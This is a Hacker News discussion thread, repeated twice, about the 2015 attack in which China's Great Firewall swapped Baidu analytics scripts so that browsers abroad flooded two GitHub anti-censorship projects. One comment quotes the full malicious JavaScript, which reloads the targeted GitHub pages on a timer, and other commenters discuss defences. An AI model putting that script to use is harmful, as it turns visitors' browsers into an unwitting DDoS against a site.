7 ms·

Since the question of "why" and "how" is coming up again, here's a quick summary I posted on reddit: From a few different analysis on HN and elsewhere... Baidu

Since the question of "why" and "how" is coming up again, here's a quick summary I posted on reddit: From a few different analysis on HN and elsewhere... Baidu has an analytics product and an ads product, much like Google Analytics and Google AdSense, which are used on all kinds of websites via Javascript. China has set the Great Firewall of China to modify some of Baidu's assets so that any non-Chinese IP gets a modified version of the Baidu analytics and ad code. The modification causes every web browser visiting a Chinese site using a Baidu analytics/ad product to load files from the greatfire and cn-nytimes projects on github (both of which are designed to circumvent Chinese government censorship) once every 2 seconds. The effect is that people all over the world outside of China are unwilling participants in a DDoS against github. github has responded by taking both projects offline and replacing their content with a simple Javascript alert that shows a "WARNING: malicious javascript detected on this domain" messagebox. This causes the folks visiting baidu-infected sites to see the alert and know something is wrong with the website (hopefully not visiting it again). It also prevents the malicious Javascript from executing in a loop and reloading the site every 2 seconds. One takeaway is that you should always have a backup of your code and resources outside a single central site like github. Another is that you should never ever have any webpage configured to load any resources from a server hosted within China IP address space as it is vulnerable to this sort of attack by the Chinese government.

facepalm 12y ago
I think you got it wrong. The Baidu analytics code is not on the pages that are on GitHub. It is all over the place, and the Great Firewall occasionally swaps it out for the malicious script. There is no malicious code on the GitHub pages.
- UnoriginalGuy 12y ago
  You must have misread because they never said anything like what you're claiming they said here.
  - facepalm 12y ago
    This is what they wrote: In short, this is how this Man-on-the-Side attack is carried out: An innocent user is browsing the internet from outside China. One website the user visits loads a javascript from a server in China, for example the Badiu Analytics script that often is used by web admins to track visitor statistics (much like Google Analytics). The web browser's request for the Baidu javascript is detected by the Chinese passive infrastructure as it enters China. A fake response is sent out from within China instead of the actual Baidu Analytics script. This fake response is a malicious javascript that tells the user's browser to continuously reload two specific pages on GitHub.com. Nowhere do they say that the script is only injected into the pages from GitHub.
jakejake 12y ago
Do those requests show up as coming from China? I thought it was only people outside China who are being giving the poisoned javascript, and the requests are being made on the client-side from them - which would appear to be just random traffic? Perhaps Baidu still shows up as the referring URL, though?
- cft 12y ago
  the requests are coming from the computers outside of china (that access chinese sites), thus you cannot simply BGP null-route all Chinese prefixes to mitigate this.
- peteretep 12y ago
  > I thought it was only people outside China who are being > giving the poisoned javascript, and the requests are > being made on the client-side from them - which would > appear to be just random traffic I would have thought you could usefully heuristically look at the referrer header.
ma2rten 12y ago
actually both projects are still online on github. https://github.com/cn-nytimes https://github.com/cn-nytimes https://github.com/greatfire https://github.com/greatfire
- throwaway7767 12y ago
  There still seems to be some special handling of them. Accessing these two projects through tor fails with an angry-looking unicorn and the message "Something went wrong and we cannot service your request". All other github projects seem accessible.
- rattray 12y ago
  They are back on github now; they were indeed temporarily changed to return only alert("WARNING: malicious javascript detected on this domain"); (or something similar). I saw this myself.
  - zaroth 12y ago
    From what I saw, it returned the alert only when the request had a trailing slash.
  - captn3m0 12y ago
    That was done to the urls with a trailing slash, which was being used (incorrectly) by the DDoS script.
  - valgaze 12y ago
    From the Sony pictures incident to the attack on that satirical magazine in Paris to this, it's getting pretty tiresome having to deal with authoritarian types who believe they should dictate what other people can say or access. For those curious, see below for a write up of the malicious javascript (uses a simple ajax call & random number timer): http://insight-labs.org/?p=1682 http://insight-labs.org/?p=1682 document.write("<script src="http://libs.baidu.com/jquery/2.0.0/jquery.min.js"> http://libs.baidu.com/jquery/2.0.0/jquery.min.js"> \x3c/script>"); !window.jQuery && document.write("<script src='http://code.jquery.com/jquery-latest.js'>\x3c/script>"); http://code.jquery.com/jquery-latest.js'>\x3c/script>"); startime = (new Date).getTime(); var count = 0; function unixtime() { var a = new Date; return Date.UTC(a.getFullYear(), a.getMonth(), a.getDay(), a.getHours(), a.getMinutes(), a.getSeconds()) / 1E3 } url_array = ["https://github.com/greatfire/" https://github.com/greatfire/", "https://github.com/cn-nytimes/"]; https://github.com/cn-nytimes/"]; NUM = url_array.length; function r_send2() { var a = unixtime() % NUM; get(url_array[a]) } function get(a) { var b; $.ajax({ url: a, dataType: "script", timeout: 1E4, cache: !0, beforeSend: function() { requestTime = (new Date).getTime() }, complete: function() { responseTime = (new Date).getTime(); b = Math.floor(responseTime - requestTime); 3E5 > responseTime - startime && (r_send(b), count += 1) } }) } function r_send(a) { setTimeout("r_send2()", a) } setTimeout("r_send2()", 2E3);
downandout 12y ago
Since this is the technique they used, the browsers would have sent referring URLs as part of each request. When traffic begins to spike suspiciously, why not send a headless browser to each referrer, and if any code on the referrer results in automatic loading of the domain you're trying to protect, blacklist it. I'm guessing that the bulk of the requests were referred by a relatively small number of pages/domains, so this would be a small processing task with a big payoff. This would effectively kill the use of this technique.
- fixermark 12y ago
  Unfortunately, the countermeasure for this sort of sniff already exists: the attacking referrer detects traffic from the victim's IP range and returns a sanitized copy of the content with the automatic loading logic removed. "Nothing to see here, officer." It's a big programming task for a small processing task for a temporary payoff.
  - downandout 12y ago
    There's nothing that says the headless requests would have to come from the victim's IP range. Any cloud service could be used. Also, since open source headless browsers already exist (phantomjs et al), it's a small programming task.
deleted 12y ago
[deleted]
nailer 12y ago
> Another is that you should never ever have any webpage configured to load any resources from a server hosted within China IP address space as it is vulnerable to this sort of attack by the Chinese government. Yep. Baidu are a NASDAQ listed company, while they may not be the malicious actor here, they still have a responsibility to ensure their networks are not used to attack others - which they don't seem to be taking seriously. Until Baidu take steps to ensure their networks are not used to attack others, we should drop their packets: https://news.ycombinator.com/item?id=9295617 https://news.ycombinator.com/item?id=9295617
- paraboul 12y ago
  Baidu network is not used. The response is altered as the trafic goes out of China. The only thing they can do is hosting http://hm.baidu.com http://hm.baidu.com in another country.
  - nailer 12y ago
    > The response is altered as the trafic goes out of China. By locating their network inside China, Baidu is allowing a malicious actor to leverage their network traffic - which indeed is a 'use' of Baidu's network. > The only thing they can do is hosting http://hm.baidu.com http://hm.baidu.com in another country. Most likely, yes. And until they do so, or come to another solution, their traffic should be blocked.
    - teamhappy 12y ago
      So what's the rule then? Block all packets coming out of countries with governments that do MITM attacks? Blame the companies for not locating their servers in other countries? Companies like GitHub? This is so hypocritical.
      - nailer 12y ago
        > So what's the rule then? Block all packets coming out of countries with governments that do MITM attacks? Block packets from any company that does not take reasonable steps to stop its network from being used to attack others. This has been networking rule for a long time. - We block open mail relays - we block hacked Windows XP machines - we should block a company who's in a hacked data center where their upstream adds malicious JavaScript. Edit: 'we' = network administrators.
gnufied 12y ago
Wondering if Github has reported this to law enforcement agencies and knowing origin of attack - how will FBI etc proceed? Will we get a statement from administration itself on the lines of Sony hacking or trade relations are too big to endanger?
- IndianAstronaut 12y ago
  I have my doubts about the technical competency within the presidential administration(healthcare.gov for example). Such huge attacks would not take place if we had any effective retaliation and protection capacity.
peterjmag 12y ago
Wouldn't it be awesome if GitHub somehow exposed issues / pull requests / etc as actual git repos for each project, like they do for wikis? Seems like that would mitigate much of the risk associated with centralized issue tracking. And yes, I'm aware that all the data is already accessible via their API, but that's not quite as easy to deal with as a simple "git clone". For now, perhaps something like https://backhub.co/ https://backhub.co/ could help, but I'd like to have the option to self-host (which doesn't appear to be the case for BackHub). EDIT: Something tells me they'd never do that, simply because their business model doesn't stand to benefit from it. But hey, I can dream.
- jader201 12y ago
  Yeah, I was thinking the same thing as your edit. Once GitHub makes it easier to become independent of them, then it... well, becomes easier to become independent of them.
- woah 12y ago
  I've thought about this as well. Should be possible to store the data in the repo itself. Later we can add a gui to make things easy. I believe that we can let their existing api schema determine the format. I'd like to do it in node because of its portability and ubiquity. Pm me if you are interested in helping. Big decision is whether to store the issues and other metadata in a seperate branch or not.
belorn 12y ago
The takeaway from this attack is the same as we got from the Snowden disclosure: Nations will abuse network services that is located on their borders. They will hack-tap-and-steal, modify, block, and use any method available to distribute malware. Any action is viable so long there is a target to attack which could produce political, economical or military advantages. I suspect we will reach a point where treaties are needed to protect the basic building blocks of the Internet. We can't expect nations to respond by sending in military force, or voluntary give up the benefits from this kind of attacks. This leaves few options left if one want the economic benefits from cloud services and similar shared-network concepts.
- ethbro 12y ago
  I like to grab old books at yard sales, and found this an interesting read (Arms Control Disarmament And National Security, 1961, https://archive.org/details/armscontroldisar013124mbp https://archive.org/details/armscontroldisar013124mbp). It's a collection of essays by various authors on a variety of arms control subjects. Everyone sees nuclear / Cold War negotiations in hindsight, but in 1961 (and probably also ~1950) the logic is much more interesting, given that the theories were developed from a position of profound ignorance. How would things turn out? What did the other side actually want? How reasonable was the other side? Unknown! On a technical point, is there a reason that javascript doesn't tend to be signed in any way? Or is it? Even if you're serving unsecured content for whatever reason, it'd be nice to allow the user to verify the code they received was as you intended. (Admittedly, encrypting all traffic as a default solves this)
  - e40 12y ago
    On a technical point, is there a reason that javascript doesn't tend to be signed in any way? A good point. I think it's convenience that we don't do it, but I'd hope we move in that direction. It seems like a prudent move.
    - ethbro 12y ago
      > A good point. I think it's convenience that we don't do it, but I'd hope we move in that direction. It seems like a prudent move. After a bit of Googling, (a) http://stackoverflow.com/questions/1368164/javascript-code-signing http://stackoverflow.com/questions/1368164/javascript-code-s... (b) http://www-archive.mozilla.org/projects/security/components/signed-scripts.html http://www-archive.mozilla.org/projects/security/components/... It seems it's simultaneously too difficult to do without ECMA spec support & would require a certificate chain anyway. And if you're running a cert chain infrastructure, why not use the one that already exists and run TLS? Other side thought: with regards to the usefulness & impracticality of cert pinning, has any work been done on systems specifically designed to target low % injection systems? If 1/10 visitors gets the poisoned page, then it seems you'd have a 9/10 chance to pull a good page for comparison & verification if you (or a proxy you trust) made another request from a different IP.
rsync 12y ago
"One takeaway is that you should always have a backup of your code and resources outside a single central site like github." ssh user@rsync.net "git clone git://github.com/freebsd/freebsd.git freebsd" Done and done.
PopsiclePete 12y ago
So I asked this before, and will ask it again. If I'm a start-up, or any "hot" website, do I have anything to gain by allowing myself to be reached by computers inside China's IP space? Same for Russia, North Korea? All 3 are known to be the source of many disruptive attacks, neither of the 3 are important markets, with the exception of China, where they've decided to re-implement all non-Chinese internet services anyway. I'm honestly curious. I'm in the process of launching a project of my own and wonder if there's any reason to not attempt to blacklist China/Russia en masse?

facepalm 12y ago

I think you got it wrong. The Baidu analytics code is not on the pages that are on GitHub. It is all over the place, and the Great Firewall occasionally swaps it out for the malicious script. There is no malicious code on the GitHub pages.

UnoriginalGuy 12y ago
You must have misread because they never said anything like what you're claiming they said here.
- facepalm 12y ago
  This is what they wrote: In short, this is how this Man-on-the-Side attack is carried out: An innocent user is browsing the internet from outside China. One website the user visits loads a javascript from a server in China, for example the Badiu Analytics script that often is used by web admins to track visitor statistics (much like Google Analytics). The web browser's request for the Baidu javascript is detected by the Chinese passive infrastructure as it enters China. A fake response is sent out from within China instead of the actual Baidu Analytics script. This fake response is a malicious javascript that tells the user's browser to continuously reload two specific pages on GitHub.com. Nowhere do they say that the script is only injected into the pages from GitHub.

jakejake 12y ago

Do those requests show up as coming from China? I thought it was only people outside China who are being giving the poisoned javascript, and the requests are being made on the client-side from them - which would appear to be just random traffic? Perhaps Baidu still shows up as the referring URL, though?

cft 12y ago
the requests are coming from the computers outside of china (that access chinese sites), thus you cannot simply BGP null-route all Chinese prefixes to mitigate this.
peteretep 12y ago
> I thought it was only people outside China who are being > giving the poisoned javascript, and the requests are > being made on the client-side from them - which would > appear to be just random traffic I would have thought you could usefully heuristically look at the referrer header.

ma2rten 12y ago

actually both projects are still online on github. https://github.com/cn-nytimes https://github.com/cn-nytimes https://github.com/greatfire https://github.com/greatfire

throwaway7767 12y ago
There still seems to be some special handling of them. Accessing these two projects through tor fails with an angry-looking unicorn and the message "Something went wrong and we cannot service your request". All other github projects seem accessible.
rattray 12y ago
They are back on github now; they were indeed temporarily changed to return only alert("WARNING: malicious javascript detected on this domain"); (or something similar). I saw this myself.
- zaroth 12y ago
  From what I saw, it returned the alert only when the request had a trailing slash.
- captn3m0 12y ago
  That was done to the urls with a trailing slash, which was being used (incorrectly) by the DDoS script.
- valgaze 12y ago
  From the Sony pictures incident to the attack on that satirical magazine in Paris to this, it's getting pretty tiresome having to deal with authoritarian types who believe they should dictate what other people can say or access. For those curious, see below for a write up of the malicious javascript (uses a simple ajax call & random number timer): http://insight-labs.org/?p=1682 http://insight-labs.org/?p=1682 document.write("<script src="http://libs.baidu.com/jquery/2.0.0/jquery.min.js"> http://libs.baidu.com/jquery/2.0.0/jquery.min.js"> \x3c/script>"); !window.jQuery && document.write("<script src='http://code.jquery.com/jquery-latest.js'>\x3c/script>"); http://code.jquery.com/jquery-latest.js'>\x3c/script>"); startime = (new Date).getTime(); var count = 0; function unixtime() { var a = new Date; return Date.UTC(a.getFullYear(), a.getMonth(), a.getDay(), a.getHours(), a.getMinutes(), a.getSeconds()) / 1E3 } url_array = ["https://github.com/greatfire/" https://github.com/greatfire/", "https://github.com/cn-nytimes/"]; https://github.com/cn-nytimes/"]; NUM = url_array.length; function r_send2() { var a = unixtime() % NUM; get(url_array[a]) } function get(a) { var b; $.ajax({ url: a, dataType: "script", timeout: 1E4, cache: !0, beforeSend: function() { requestTime = (new Date).getTime() }, complete: function() { responseTime = (new Date).getTime(); b = Math.floor(responseTime - requestTime); 3E5 > responseTime - startime && (r_send(b), count += 1) } }) } function r_send(a) { setTimeout("r_send2()", a) } setTimeout("r_send2()", 2E3);

downandout 12y ago

Since this is the technique they used, the browsers would have sent referring URLs as part of each request. When traffic begins to spike suspiciously, why not send a headless browser to each referrer, and if any code on the referrer results in automatic loading of the domain you're trying to protect, blacklist it. I'm guessing that the bulk of the requests were referred by a relatively small number of pages/domains, so this would be a small processing task with a big payoff. This would effectively kill the use of this technique.

fixermark 12y ago
Unfortunately, the countermeasure for this sort of sniff already exists: the attacking referrer detects traffic from the victim's IP range and returns a sanitized copy of the content with the automatic loading logic removed. "Nothing to see here, officer." It's a big programming task for a small processing task for a temporary payoff.
- downandout 12y ago
  There's nothing that says the headless requests would have to come from the victim's IP range. Any cloud service could be used. Also, since open source headless browsers already exist (phantomjs et al), it's a small programming task.

deleted 12y ago

[deleted]

nailer 12y ago

> Another is that you should never ever have any webpage configured to load any resources from a server hosted within China IP address space as it is vulnerable to this sort of attack by the Chinese government. Yep. Baidu are a NASDAQ listed company, while they may not be the malicious actor here, they still have a responsibility to ensure their networks are not used to attack others - which they don't seem to be taking seriously. Until Baidu take steps to ensure their networks are not used to attack others, we should drop their packets: https://news.ycombinator.com/item?id=9295617 https://news.ycombinator.com/item?id=9295617

paraboul 12y ago
Baidu network is not used. The response is altered as the trafic goes out of China. The only thing they can do is hosting http://hm.baidu.com http://hm.baidu.com in another country.
- nailer 12y ago
  > The response is altered as the trafic goes out of China. By locating their network inside China, Baidu is allowing a malicious actor to leverage their network traffic - which indeed is a 'use' of Baidu's network. > The only thing they can do is hosting http://hm.baidu.com http://hm.baidu.com in another country. Most likely, yes. And until they do so, or come to another solution, their traffic should be blocked.
  - teamhappy 12y ago
    So what's the rule then? Block all packets coming out of countries with governments that do MITM attacks? Blame the companies for not locating their servers in other countries? Companies like GitHub? This is so hypocritical.
    - nailer 12y ago
      > So what's the rule then? Block all packets coming out of countries with governments that do MITM attacks? Block packets from any company that does not take reasonable steps to stop its network from being used to attack others. This has been networking rule for a long time. - We block open mail relays - we block hacked Windows XP machines - we should block a company who's in a hacked data center where their upstream adds malicious JavaScript. Edit: 'we' = network administrators.

gnufied 12y ago

Wondering if Github has reported this to law enforcement agencies and knowing origin of attack - how will FBI etc proceed? Will we get a statement from administration itself on the lines of Sony hacking or trade relations are too big to endanger?

IndianAstronaut 12y ago
I have my doubts about the technical competency within the presidential administration(healthcare.gov for example). Such huge attacks would not take place if we had any effective retaliation and protection capacity.

peterjmag 12y ago

Wouldn't it be awesome if GitHub somehow exposed issues / pull requests / etc as actual git repos for each project, like they do for wikis? Seems like that would mitigate much of the risk associated with centralized issue tracking. And yes, I'm aware that all the data is already accessible via their API, but that's not quite as easy to deal with as a simple "git clone". For now, perhaps something like https://backhub.co/ https://backhub.co/ could help, but I'd like to have the option to self-host (which doesn't appear to be the case for BackHub). EDIT: Something tells me they'd never do that, simply because their business model doesn't stand to benefit from it. But hey, I can dream.

jader201 12y ago
Yeah, I was thinking the same thing as your edit. Once GitHub makes it easier to become independent of them, then it... well, becomes easier to become independent of them.
woah 12y ago
I've thought about this as well. Should be possible to store the data in the repo itself. Later we can add a gui to make things easy. I believe that we can let their existing api schema determine the format. I'd like to do it in node because of its portability and ubiquity. Pm me if you are interested in helping. Big decision is whether to store the issues and other metadata in a seperate branch or not.

belorn 12y ago

The takeaway from this attack is the same as we got from the Snowden disclosure: Nations will abuse network services that is located on their borders. They will hack-tap-and-steal, modify, block, and use any method available to distribute malware. Any action is viable so long there is a target to attack which could produce political, economical or military advantages. I suspect we will reach a point where treaties are needed to protect the basic building blocks of the Internet. We can't expect nations to respond by sending in military force, or voluntary give up the benefits from this kind of attacks. This leaves few options left if one want the economic benefits from cloud services and similar shared-network concepts.

ethbro 12y ago
I like to grab old books at yard sales, and found this an interesting read (Arms Control Disarmament And National Security, 1961, https://archive.org/details/armscontroldisar013124mbp https://archive.org/details/armscontroldisar013124mbp). It's a collection of essays by various authors on a variety of arms control subjects. Everyone sees nuclear / Cold War negotiations in hindsight, but in 1961 (and probably also ~1950) the logic is much more interesting, given that the theories were developed from a position of profound ignorance. How would things turn out? What did the other side actually want? How reasonable was the other side? Unknown! On a technical point, is there a reason that javascript doesn't tend to be signed in any way? Or is it? Even if you're serving unsecured content for whatever reason, it'd be nice to allow the user to verify the code they received was as you intended. (Admittedly, encrypting all traffic as a default solves this)
- e40 12y ago
  On a technical point, is there a reason that javascript doesn't tend to be signed in any way? A good point. I think it's convenience that we don't do it, but I'd hope we move in that direction. It seems like a prudent move.
  - ethbro 12y ago
    > A good point. I think it's convenience that we don't do it, but I'd hope we move in that direction. It seems like a prudent move. After a bit of Googling, (a) http://stackoverflow.com/questions/1368164/javascript-code-signing http://stackoverflow.com/questions/1368164/javascript-code-s... (b) http://www-archive.mozilla.org/projects/security/components/signed-scripts.html http://www-archive.mozilla.org/projects/security/components/... It seems it's simultaneously too difficult to do without ECMA spec support & would require a certificate chain anyway. And if you're running a cert chain infrastructure, why not use the one that already exists and run TLS? Other side thought: with regards to the usefulness & impracticality of cert pinning, has any work been done on systems specifically designed to target low % injection systems? If 1/10 visitors gets the poisoned page, then it seems you'd have a 9/10 chance to pull a good page for comparison & verification if you (or a proxy you trust) made another request from a different IP.

rsync 12y ago

"One takeaway is that you should always have a backup of your code and resources outside a single central site like github." ssh user@rsync.net "git clone git://github.com/freebsd/freebsd.git freebsd" Done and done.

PopsiclePete 12y ago

So I asked this before, and will ask it again. If I'm a start-up, or any "hot" website, do I have anything to gain by allowing myself to be reached by computers inside China's IP space? Same for Russia, North Korea? All 3 are known to be the source of many disruptive attacks, neither of the 3 are important markets, with the exception of China, where they've decided to re-implement all non-Chinese internet services anyway. I'm honestly curious. I'm in the process of launching a project of my own and wonder if there's any reason to not attempt to blacklist China/Russia en masse?